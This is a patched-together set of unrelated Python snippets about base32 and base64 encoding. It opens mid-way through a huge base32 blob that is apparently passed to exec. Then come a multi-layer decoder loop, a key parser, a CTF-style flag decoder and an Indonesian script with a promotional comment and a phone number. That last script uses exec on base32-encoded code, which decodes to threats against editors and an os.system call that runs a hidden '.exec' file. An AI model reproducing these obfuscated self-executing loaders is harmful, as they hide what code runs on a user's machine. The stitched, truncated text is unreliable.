HVY5R7O7XKJQO27ZHCWBV2MYUOHMXLR3D67LBZMB7IFK32CF3LRN5TVJ2MOY4UHI2XJOD255WHLB5T7HOZYMO3GVJRDBS6F4P3W7E5QT2BKLTNTOZ4TNMH3S7O3CWDFR6GV3PQ6HNOLEDC5UEOQGXNTCVYVQZPDWH57VAQWDX533EKYOW2ILXM7U7R3A25ZWR3D24KY7WIZBRSOZ5COBV2MYUOHMPLRLD6YSN3OYIBL3KCN6TDKAWK3S2JAL3EMCI6YPRVSG6PESL5TWCJB7ZXDCBWKMIUOJFPPRJDRNNCROK6SSJS6BLGZBZIGZH7755PV73CMKXHN5DVNIVTGUZ3PGWWE3TROXLV2XCKNIGYYXYZUOM3HU3OR7CYC3GMWXXA5465EMO5DBY35FNIFJZUFXEXLLLT5OHHU4JF45PXUZEA5XFOGVYLGPY7HR2KS2SS6FJPJXHRPC3FBLCUE4X47LKPJ5HMS4XG5KWK6TSV4UW4FPH4X4ZQSVLGMWBOC3TGON5FZ5XBSZSPWQLXDHPLHFEKQ357ZKHBILQVZ3BLGWVIFRMWSNZZKY2LNZVIXKR6WGTOV6P2VSMU6TETDFYG5I3V5A22BGMWHHJKVK5GVSVVXFQQAUGSY3CBMUNOVLKMD5Z3JEUCZT3PCWE4P32IS2AY32PNFZTF7FVGW5TWPN4LC62YVBUBXM7ENLFX4EJNAIB2X3UCVV377SJPHIFLKK5XMUNYX24LW5NU3BPBCK2OFNWXLIUKC6NCW3YAA4NBSQNX2NUR6XR2U3RYTA4VK7MK5CMMAZ2YUTNDYCNDYCLKI6RYCC6265773EL52J6THEJH7AI5DPVPPSXRBJNPGPK3QLXF2GZCM4CCHR4PIKWEKO2FSWOF75KRWNFJC6APOTQQ3SZEDP3ZM3TP5U7SQPTQLH3LAXWJQCWGMXNIEOVV4BBVCQ2HD5JJN6DFJ3FIGBGCOKL3IMDAU7EUZB6KPKZ4YTS6NRBMLETOZGLPNM5HHISRSDW6GSVAKZSWOUCPMOA4BRUTUHKFQT5XREHI4YTALOHQRD7MTFTPNXQACUYKOWMESKCV7JRDCOU7IBTE4KUKMUJRX5KW7CPTW72BA25FPQVYHGPU7YEPK2JW7OTLK2VNWJPXIWMFNXGU56OXDEQW5WRPXICJSFJ6DBKW4Q5BNYR55UXLOUBVG3O2N3EMKZETL6SDYQTXEAHTZLELVBKCS4YTODTKLCVTBZDJNDDHDGXGQIHNW4IICTOMXDIZTN2SGRRXGLTELZG5ZDD6SIEUECX7IJXKDHM2GLI6TZAFBOWK6NAL7EQUHIQHYXA2CCDYNU2BFZ5SJ4NUL6SFOOBNM2CL6R26KPHEZI3H4XPJDEXNHTJFCIBINB3O7YVYTTOPVP22WOMMY32H3EJNNKLKZENW6EK4HWDQLUET5P2O6O4VEVOVFOXC5MEZKP5L37V3N2YUWK3DL3WVUH5JVWJXDFXHFZNP2YB5O6VUMZUZKCE7RV44Y2OBWMKTXWSX62Q5ZEUDHZK3YVFAZ5NNBPUOSTBYSORGXTC55TDH5HDJJPMPQO6LVDXW7XI4CLSWK2VJVL7Q4D3SCFVXHN3RVYCEQSAHT54END45MLN5M6AUVKE3L2LL3CZY7UNCOR4PFCOW4VFNSGNF6OGFTY6EJ7OSRST7A4JTO2REHIWLVPYKBSXF6YAJTHX4YRFR2PZZULMVVB7KDPILNXVF5LHWY26EVKE3GC4MNMCTJ6V3BTUQ433T5CCJ4YS5Z6IVR74VS32LLPY5BWLE265EJXBRLVQ2TWRSY43555DFIYQY2J5TKJWM6OWR7HPAZPH7M42BDW54XTZYAYBUEWP45KPHKPWSZUHY4DTCO4XXTGMW2A2552PPILZHOLD436YWSKW7YGAZ44FXDPXNC7ABW4PXNU3UMXPZ372PP7MTE3SHIW7XHD7KGV7IH5ZZ457SKOJZUWOPKBV3GT6YTLO276GIAX232JPYDZA3UHSTUT265I74O3HN56QBX52NYAHOBEWOD3CSO7QU4YQZAPUEXRPVRG5BV62IC7NMD7PNNGNBKZIQS75MIVMHXRCYWRYIX6L2MXOVUEGV3225HL6Y3UA3YQ2D47Y5MGZM5FQZGBMIEZ7DNP2GHOCGQLBFAI722JVSCM4ZHFWRF5U4OP4MVLEEJH55CIBXFRI2KM6BDXTO76A624OHYB3PAX43IEOHSK54GX336WT47HT73KURH7KDTLHC5DK54QHN26L7XKQOS6KW4LZPRC32ONSXEQON7PFUXDWNKE36ZXVN2RZLHDL6JDUE6HUQQDHOBA252LWCTZDNXPCNCYCOKJ3MEK6VVVTJTC6XHCH7QWGFFEFGIYBNCQQ3TA6JWRIUA7OOOSPFK465JWL7BSTK7FYHCNA45N6KBYSAN74FOO33OXYJ7MGK2O73B4R7O3ZVKB3QUZC5M77R3U4ZC3NWNGGMX3F3W7G5TZ5OYPBLTW327NGSF7DYJV7HWLRTDWHSAP3TXOTSIPGLXLJ4ACJWX7K4L56GYTODPLSUR2YG4F6D45O66Q3TV3X2QPHLQ7TV5QOO7P6K4BOJ6C3T22APPH3XII73V4DPTDFGYEXBVWR6VLAZD4SD62OPPA37PIZY5YPCVDIEVMZTRQSKHPHLQJZFGFWSD6W466PXLBSDGMII7ZXUDLPSML5U466DUDMQTB5SPRKQMETR3Z26CGJNRNET73YPPH3VQZBTGGEOUTIOCR6T3JY54HIEZBXD7ET4SLDJQYDLO52EKIO23YKZFBHVL54YMQ5SHEP4SYQNF6LU7WLR4YOQNSHMPMSDYTMESHC5HHEKIMZNMF4TJ7MHD3Q5ATEF4PMSRYGJOR2WLGH3ZQJDTOFEPEBYLDCNF26MIURZW3ILZPX3NZ7EHIGZB6D3EUMB6L3X3NY7EHIEZB7D3EWOBQKFKL37A7ECR3SSB6KR3WVREFKVFFNNMPWH5WF5C5FGNTRHYB7AX7URSO5VX7K36CPEQRBXZVYE6MOMW5YJTT5XADYFYB2RODWCGHKY6ARYNZ63OCMUQ5Y7ODWGF4RN3K7UNQNGHN5CXXBABRIBWSMMGPMPE3DXMRBH3A6APGW5KCCXPV4IXNMOAC6REU7YIXGD4WPQIQGMXRPUWWJZ4T6ASJPBHPVGIX4BQD6RGUQX6HQBLNXX6A4CNRQ7EAYE74DYDHGH4DSDD6D2BV6YGOVET3EZ4GZR4SQW7UAQPHNQXLYI4MXE534HZ6G2XY3MWPS563FUIG3GLI4ULGQYILRG3NXT5V44LJRC3QBNCNZK2F6NZW3OIFLTQRTYIWTBV4WLLQ2IN4QUJHZ76WHZO4D4EVHLP73KVYGB5454X2BQ5U4Q2GQ3P6Y4ASU7PIREBZEBDIZUTIHPVNH3YQ37TE2OLX4BIDWTONA4EWX3VQ44T7ZS54G7IT73OMDYMO6NONIAPVUDCZ5W7GQ7U3QOW24C5SG3HPXXPY5NF54MBXTNXXUECIW6GXZYD4YPL6SYGJZ57KIARTWWWLHOBSSAE4X62ASXZEO7CX2P2ITIN4YMZBQN45GQJL2B3Z3A2W3Z4S77UCSDPSN2Z6FK5NQ7G6PUQUR4D5D5SNPQNS76K4V5TA3FPP7PCXRCGF5H4MURFUNURFUOB6Z5Q5PA4IZW7NKPXI53YUVKX5Y3U7CPLNABB7QCX6TMH3LKM6AO6JATP4STPQLWSDO55BBGPDMVEV7FASVG4M6GXAS7XNIAJXYOTAQLH5BWNPMOUEKIYBJUTHQTS23ACM7442JTYMDLR3CM6PJVDIQKH3BPQ7PQ3OS5OWOA3ITD774JA5N5GX57P326375WTLJWSUV34TAUNRLERBL777DQTIVPHTJ73DAUORHH7NE6EYVBMHW6HYYNCPQHWMJFVXPU62GK2U2EGREEL4DAI6QKNW3QPATHRL3V4TWRQZJD3M5HDTJSSHW3M2MUJ6WLXHHI74OOR7Y45D7RZ2H7DTUP6HHI74OOR7Y45D7RZ2H7DTUP6HHI7447ECRDYMIB3CL7V2WTHZKWN63ACHJMMFLG7NQDWQYUEKRCXNMAOFX4JARSF47TPSFXGPFBPEOOZ7ZX2DWN6LI3NCSVM35BK5ETNG4XTMZ4WA7Q5P2LDL2WRUL5WMWLHPRPHQRQ34WF64HPDPR2H7R3CEZQVWDSPA32YEXXZXZS33SEN72ETE7BJ7MGHGDPXM5S2DP2R7XJ6R5DPH7U4O52L66RXMP5TW2AH3O343I4NRPUSL67OWK4NP3LSG7FXTH2STBASG63AAOLGQ2LRH5RGFGGZSJ4FNVRUPXJQPFLYA6MRYT5OARPELGDTNWTBI4RO73KTRKKOPIX4UOXQEJBIH27CMWIV55DUIZKW3TK63PIJJM4XJ6GL7PPVMFJMHV6OD7U46GW2PCHMA7Z3U5MGLJSKY5IIBJV2RQCB6B5JO4NRQV5OK2ORFOQN2RYBPUCSIGG6O5GFRE76HXNM2KDCNGH47OFXLOKU7SC3LCIAMP7RY5G6ZVERTI4TXI4RP7T3LWHMMH7PLWVEXB3VGBXRPZHQO56AO24I6GHTUOC72ZZ2Z5T6S7FD472GZF5E6PNDQ5XKTNP27B65IKHKDUKYE4KIZEZUL6XOWUVJUJQGT7ISRSMWRI2Z6R7GB54H2VXMVVJGEJJC3BDPXJWFQGXQJVHBJ7T4SUH33XJU4R5MNBWOFRUGTYGNYWEY353BVTZ22KFA5G7ZL4GBL2HTVQSA7DJ25S4KHWZ3KVWVG6TVW42M3XZTQWLCICKJ4VFCUDMLQZJAIKEM34LGA4OLMQ4VV3WVK3VKNANLTEUDPUJXBQVL6IQESLWIKQX3SRPCN4EOQVL2R7ATIL57ZS5S7OYF5KE27Q4OOVUOUHW2SDNPINO2UVPBWK7RW2T7VJQRA6M7S2NGR7BPG76SAEF66QUWFUOQDM7V6ZRJG2RO5S2AWYVO7GLYFS2OYN2NPJTIJXC5AC6BJKV24GNBWBWNZ7UT2LWXMFBMBQ3V6VNVJLI5VIYAD4UJOC4P3YGBRLCK7LHQ2QAGR6QES4ROZAFWIDALIVUU7LO5U6FXQQEYUWZZSMTBWNXXFLRTR77ANYVPZ5SCJYR27RDSGZ45SLNRFHXVKKBP7D3VTBDIE3ZYLKA2C74IZRJ2E7GXC5CG6TOCEUYHR5UNXO3UMWKPUIUED4M7CVON6T5OC6T3FW7VGRVHMNIODTBTCLER5YSQQ4K5CQACVNDHEMQVPEWWNKB3KX2QV6IASGNN7EH2CKQ67TJEBYR6BAXNBY7RDWJP6A77T6TGUR6CNEDT6PYH7BFQSBEMH6KM7JAEQYVMCFE6KUQZ5STCPM4RNIXRS2OORTSAMYGK55TDQ4Z6GMFGLIDWG7WCI435ZT74QZFTTEONBJP4H6HL3CA2A====" ))))
p = raw_input("input string to decode:") while True: # Base16 try: print "[?] using base16 deocde" n = base64.b16decode(p) print "[+] %s" % (n) p = n continue except: pass # Base32 try: print "[?] using base32 deocde" n = base64.b32decode(p) print "[+] %s" % (n) p = n continue except: pass # Base64 try: print "[?] using base64 deocde" n = base64.b64decode(p) print "[+] %s" % (n) p = n continue except: pass break
def parse_b32_key(key): key = key.upper().replace(' ', '') key += '=' * (-len(key) % 8) # Support unpadded return b32decode(key)
#!/usr/bin/env python3 import base64 secretStr = "GUYDIMZVGQ2DMN3CGRQTONJXGM3TINLGG42DGMZXGM3TINLGGY4DGNBXGYZTGNLGGY3DGNBWMU3WI===" result = base64.b32decode(secretStr) flagList = [ int(result[2 * i:2 * i + 2], 16) for i in range(int(len(result) / 2)) ] flag = ''.join([chr(i) for i in flagList]) print(flag)
# Mau Source Code ? # Subscribe Channel Youtube Dan Follow Github Gua Dulu Dong Slur !!! # Github : https://github.com/RSPLOIT-ID # Youtube : Rsploit Official # Udah Langsung Inbox Gua Di > 082259177732 import base64 exec( base64.b32decode( "EMQEQYLZPF2SATLBOUQE4Z3FOJSWG33EMUQFSYJAH4FCGICUOVVWC3THEBJGKY3PMRSSAS3PNZ2G63BMEBCWY5JAIVSGS5BAJZUSARTJNRSSATLBNVYG64ZAJR2QUIZAJVQXI2JAJRXSAQLONJUW4ZZAEEQSCIBKL4VAUCTJNVYG64TUEBXXGCTPOMXHG6LTORSW2KBCOB4XI2DPNYZCALTFPBSWGIRJBI======" ))